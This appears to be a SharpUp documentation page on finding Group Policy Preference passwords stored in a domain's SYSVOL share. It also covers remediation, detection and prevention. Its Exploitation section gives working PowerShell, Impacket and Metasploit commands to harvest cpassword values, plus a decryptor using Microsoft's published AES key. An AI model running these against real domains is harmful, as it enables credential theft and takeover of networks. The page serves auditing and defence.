Domain GPP Password - SpecterOps Open Source

Overview

The Domain GPP Password check searches the domain SYSVOL share for Group Policy Preference (GPP) XML files containing encrypted passwords. SYSVOL is accessible to all authenticated domain users, making any credentials stored there accessible to the entire domain.

This check requires domain connectivity and will only work on domain-joined systems.

How It Works

SharpUp searches the SYSVOL share for policy XML files:

\\[DOMAIN]\SYSVOL\[DOMAIN]\Policies\**\*.xml

Target Files:

Groups.xml
Services.xml
Scheduledtasks.xml
DataSources.xml
Printers.xml
Drives.xml
Registry.xml

Technical Details

Retrieves the DNS domain name from environment variable %USERDNSDOMAIN%
Constructs SYSVOL path: \\domain.com\SYSVOL
Recursively searches for target XML files
Parses files for cpassword attributes
Reports files containing encrypted passwords

The encrypted passwords can be decrypted using Microsoft’s published AES key.

Example Output

=== GPP Password in SYSVOL ===
    File: \\contoso.com\SYSVOL\contoso.com\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml
    Type: Groups
    Username: LocalAdmin
    Password: P@ssw0rd123!

    File: \\contoso.com\SYSVOL\contoso.com\Policies\{GUID}\Machine\Preferences\Scheduledtasks\Scheduledtasks.xml
    Type: ScheduledTask
    Username: CONTOSO\svc_backup
    Password: BackupP@ss2019!

Interpretation:

Multiple GPP files contain passwords
LocalAdmin is a local account (possibly same password on all machines)
svc_backup is a domain service account
All passwords are easily decryptable

Exploitation

Method 1: Manual Search and Decrypt

# Search SYSVOL for GPP files
$domain = $env:USERDNSDOMAIN
$sysvolPath = "\\$domain\SYSVOL\$domain\Policies"

Get-ChildItem -Path $sysvolPath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml |
ForEach-Object {
    $content = Get-Content $_.FullName
    if ($content -match 'cpassword') {
        Write-Host "Found password in: $($_.FullName)"
        $content
    }
}

Method 2: Using PowerSploit Get-GPPPassword

# PowerSploit PowerUp module
Import-Module .\PowerUp.ps1
Get-GPPPassword

# Or specific search
Get-GPPPassword -Server dc01.contoso.com

Method 3: Using Impacket

# From Linux attacking machine
Get-GPPPassword.py contoso.com/user:password@dc01.contoso.com

Method 4: Decrypt Password

Once you find an encrypted password (cpassword value):

function Decrypt-GPPPassword {
    param([string]$EncryptedPassword)

    $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

    $Aes = [System.Security.Cryptography.Aes]::Create()
    $Aes.Mode = "CBC"
    $Aes.Key = $AesKey
    $Aes.IV = New-Object Byte[]($AesKey.Length)

    $DecryptedBytes = $Aes.CreateDecryptor().TransformFinalBlock(
        [Convert]::FromBase64String($EncryptedPassword),
        0,
        [Convert]::FromBase64String($EncryptedPassword).Length
    )

    return [System.Text.Encoding]::Unicode.GetString($DecryptedBytes).TrimEnd([char]0)
}

# Usage
Decrypt-GPPPassword "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"

Method 5: Using Metasploit

# Metasploit module
use post/windows/gather/credentials/gpp
set SESSION 1
run

# Or auxiliary scanner
use auxiliary/scanner/smb/smb_enum_gpp
set RHOSTS 10.10.10.0/24
set SMBUser user
set SMBPass password
run

Remediation

Identify All GPP Files in SYSVOL

# Search entire SYSVOL
$domain = $env:USERDNSDOMAIN
$sysvolPath = "\\$domain\SYSVOL"

Get-ChildItem -Path $sysvolPath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml,Registry.xml |
Where-Object {
    $content = Get-Content $_.FullName -Raw
    $content -match 'cpassword'
} |
Select-Object FullName, LastWriteTime

Document Found Credentials

Before deletion, document:

Which GPOs contain passwords
What accounts are affected
What systems receive these policies
What functionality will break when removed

Remove Passwords from GPOs

For each affected GPO:

Open Group Policy Management Console (GPMC)
Navigate to the policy containing passwords
Remove or update the preference items:
- Groups: Remove password-based group membership, use Restricted Groups instead
- Services: Remove service credentials, use gMSA or sMSA
- Scheduled Tasks: Remove task credentials, use gMSA
- Data Sources: Remove connection strings, use Windows Authentication
- Drives: Remove credentials, use proper share permissions

Delete XML Files from SYSVOL

After removing passwords from GPOs:

# Delete old XML files (do this carefully!)
# Files will regenerate without cpassword attribute after GPO update

# Or manually delete specific files
Remove-Item "\\$domain\SYSVOL\$domain\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml" -Force

Change All Exposed Credentials

# Change passwords for all accounts found in GPP
# Local accounts
net user LocalAdmin "NewComplexP@ssw0rd123!"

# Domain accounts
Set-ADAccountPassword -Identity svc_backup -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "NewP@ssw0rd!" -Force)

# Force password change at next logon if appropriate
Set-ADUser -Identity svc_backup -ChangePasswordAtLogon $true

Implement KB2962486

Ensure all systems have MS14-025 installed:

Windows Server 2008 R2 / Windows 7: KB2962486
Newer systems: Already patched

This removes the ability to set passwords in GPP preferences.

Verify Removal

# Re-run SharpUp
SharpUp.exe DomainGPPPassword

# Should return no results

Alternative Solutions

Use Local Administrator Password Solution (LAPS)

# Install LAPS
# Download from Microsoft
# Import LAPS GPO templates
Import-Module AdmPwd.PS

# Extend AD schema
Update-AdmPwdADSchema

# Grant permissions
Set-AdmPwdComputerSelfPermission -Identity "OU=Workstations,DC=contoso,DC=com"

# Create GPO to enable LAPS
# Computer Configuration → Policies → Administrative Templates → LAPS

Use Group Managed Service Accounts (gMSA)

# Create KDS root key (once per domain)
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))

# Create gMSA
New-ADServiceAccount -Name svc_backup `
    -DNSHostName svc_backup.contoso.com `
    -PrincipalsAllowedToRetrieveManagedPassword "BackupServers$"

# Install on servers
Install-ADServiceAccount -Identity svc_backup

# Use in services - no password needed

Use Restricted Groups Instead of GPP Groups

# In GPMC:
# Computer Configuration → Policies → Windows Settings → Security Settings → Restricted Groups

# Add members to Administrators group without passwords
# This replaces Groups.xml functionality

Detection

Defensive Monitoring

# Monitor SYSVOL access
# Enable auditing on SYSVOL share

$sysvolPath = "\\$env:USERDNSDOMAIN\SYSVOL"
$acl = Get-Acl $sysvolPath

$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
    "Everyone",
    "ReadData",
    "ContainerInherit,ObjectInherit",
    "None",
    "Success,Failure"
)

$acl.AddAuditRule($auditRule)
Set-Acl $sysvolPath $acl

# Monitor Event ID 4663 for SYSVOL access
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} |
Where-Object {$_.Message -match 'SYSVOL.*\.xml'}

Detection Strategies

File Access Monitoring
Network Monitoring
PowerShell Monitoring
Behavioral Analytics

Monitor bulk reading of XML files from SYSVOL
Alert on access to Groups.xml, Services.xml, etc.
Track unusual access patterns (non-DC accessing SYSVOL extensively)

Real-World Scenarios

Scenario 1: Enterprise-Wide Local Admin Password

Context: IT team used GPP to set same local administrator password on all 5,000 workstations 7 years ago.Impact:

Attacker compromises one workstation
Extracts GPP password from SYSVOL
Gains local admin on all 5,000 workstations
Complete enterprise compromise

Lesson: This is why LAPS was created.

Scenario 2: Service Account in Scheduled Task

Context: Domain service account credentials stored in Scheduledtasks.xml for backup job.Attack Path:

Attacker gets domain user access
Reads SYSVOL and finds Scheduledtasks.xml
Decrypts service account password
Authenticates as service account
Service account has broad permissions for backups
Attacker exfiltrates all data

Solution: Use gMSA for service accounts.

Scenario 3: Database Connection String

Context: DataSources.xml contains SQL Server connection string with SA password.Impact:

Direct access to production database
Data exfiltration
Data manipulation
Ransomware opportunity

Solution: Use Windows Authentication for databases.

Prevention Best Practices

Never Use GPP for Passwords

Microsoft removed this feature for a reason. Don’t work around the security patch.

Implement LAPS

Use LAPS for all local administrator password management.

Use gMSA/sMSA

Service accounts should use managed service accounts without passwords.

Regular Audits

Periodically scan SYSVOL for any XML files with passwords.

Automated Remediation Script

# Run on Domain Controller
$domain = $env:USERDNSDOMAIN
$sysvolPath = "\\$domain\SYSVOL\$domain\Policies"

Write-Host "[*] Scanning SYSVOL for GPP passwords..."

$foundFiles = Get-ChildItem -Path $sysvolPath -Recurse -Include Groups.xml,Services.xml,Scheduledtasks.xml,DataSources.xml,Printers.xml,Drives.xml,Registry.xml |
Where-Object {
    $content = Get-Content $_.FullName -Raw
    $content -match 'cpassword'
}

if ($foundFiles) {
    Write-Host "[!] Found $($foundFiles.Count) files with passwords:" -ForegroundColor Red
    $foundFiles | ForEach-Object {
        Write-Host "    $($_.FullName)" -ForegroundColor Yellow
    }

    Write-Host "`n[!] ACTION REQUIRED:" -ForegroundColor Red
    Write-Host "1. Document the GPOs and accounts involved"
    Write-Host "2. Remove passwords from GPO preferences (use LAPS/gMSA)"
    Write-Host "3. Delete these XML files"
    Write-Host "4. Change all exposed passwords"
} else {
    Write-Host "[+] No GPP passwords found in SYSVOL" -ForegroundColor Green
}

Cached GPP Password

Check for locally cached GPP files

Registry AutoLogons

Find auto-logon credentials in registry

Unattended Install Files

Discover credentials in installation files

Remediation Guide

Comprehensive remediation guidance

References

Microsoft KB2962486

MS14-025: Vulnerability in GPP could allow elevation of privilege

MITRE ATT&CK

T1552.006 - Unsecured Credentials: Group Policy Preferences

LAPS Documentation

Local Administrator Password Solution

​Overview

​How It Works

​Technical Details

​Example Output

​Exploitation

​Method 1: Manual Search and Decrypt

​Method 2: Using PowerSploit Get-GPPPassword

​Method 3: Using Impacket

​Method 4: Decrypt Password

​Method 5: Using Metasploit

​Remediation

​Alternative Solutions

​Use Local Administrator Password Solution (LAPS)

​Use Group Managed Service Accounts (gMSA)

​Use Restricted Groups Instead of GPP Groups

​Detection

​Defensive Monitoring

​Detection Strategies

​Real-World Scenarios

​Prevention Best Practices

Never Use GPP for Passwords

Implement LAPS

Use gMSA/sMSA

Regular Audits

​Automated Remediation Script

​Related Checks

Cached GPP Password

Registry AutoLogons

Unattended Install Files

Remediation Guide

​References

Microsoft KB2962486

MITRE ATT&CK

LAPS Documentation

Overview

How It Works

Technical Details

Example Output

Exploitation

Method 1: Manual Search and Decrypt

Method 2: Using PowerSploit Get-GPPPassword

Method 3: Using Impacket

Method 4: Decrypt Password

Method 5: Using Metasploit

Remediation

Alternative Solutions

Use Local Administrator Password Solution (LAPS)

Use Group Managed Service Accounts (gMSA)

Use Restricted Groups Instead of GPP Groups

Detection

Defensive Monitoring

Detection Strategies

Real-World Scenarios

Prevention Best Practices

Automated Remediation Script

Related Checks

References